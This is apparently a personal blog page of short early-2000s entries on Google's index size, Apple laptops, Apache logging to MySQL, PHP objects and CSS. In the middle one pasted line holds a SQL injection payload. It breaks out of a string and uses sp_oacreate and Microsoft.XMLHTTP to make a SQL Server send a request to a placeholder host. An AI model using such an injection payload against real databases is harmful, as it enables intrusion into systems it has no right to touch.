It was brought to my attention today that Google, the search engine we all know and love (wonder what that will do for my page ranking) has recently bypassed 3 billion web pages in it’s search base. Go, Google, Go!

Searching 3,083,324,652 web pages

Interesting old article on OS X. Yes, I still want an iTit. I mean, come on! A 17” screen in something that pretty running BSD! How can you lose? Apple seems to be all about the huge displays. If you never have, I recommend you go down to your local tech store and simply drool at Apple’s Cinema HD Display. (Yes, I have no life, I know)

As opposed to dive into mark’s 30 days to a more accessible weblog, I should write 30 days on a less accessible one. There are so many things that I need to correct…However, for my first self-rolled blog, it’s not too shabby.

I wanted to thank Jeremy for his article on Apache logging to MySQL. Despite having to roll back from Apache 2.0, I now have this working and I will have some similar cool logs up one of these days.

I still wish I had time to work on my code and make the site work better. I want to start making use of objects more in my php code, but I’m having trouble determining what things should be objects and what shouldn’t. I started to re-roll some blog software recently, but I think I’ll end up using Drupal for that project.

I really like ZO

Don’t mind this - its the easiest method I have to copy and paste something…

b’; declare @o int, @f int, @ret int exec sp_oacreate ‘Microsoft.XMLHTTP’, @o out exec sp_oamethod @o, ‘open’, NULL, ‘GET’, ‘http://ip:25’, false exec sp_oamethod @o, ‘send’–

CSS never ceases to amaze me. And I certainly could have used it in a recent project I was working on for work. Which, in turn, reminds me of stuff I want to do. Heck, I haven’t even had time to read my Daily Rot today!

As I’m crumpling up a piece of tinfoil I just took out of the oven

I love tinfoil, it cools down so ouch

There are lots of good links at the Kalsey Consulting Group site. I still need to get all my links up here. I’m trying to write a script to extract them out of IE into an sql script because I’ve got them all organized nicely in IE. ;-)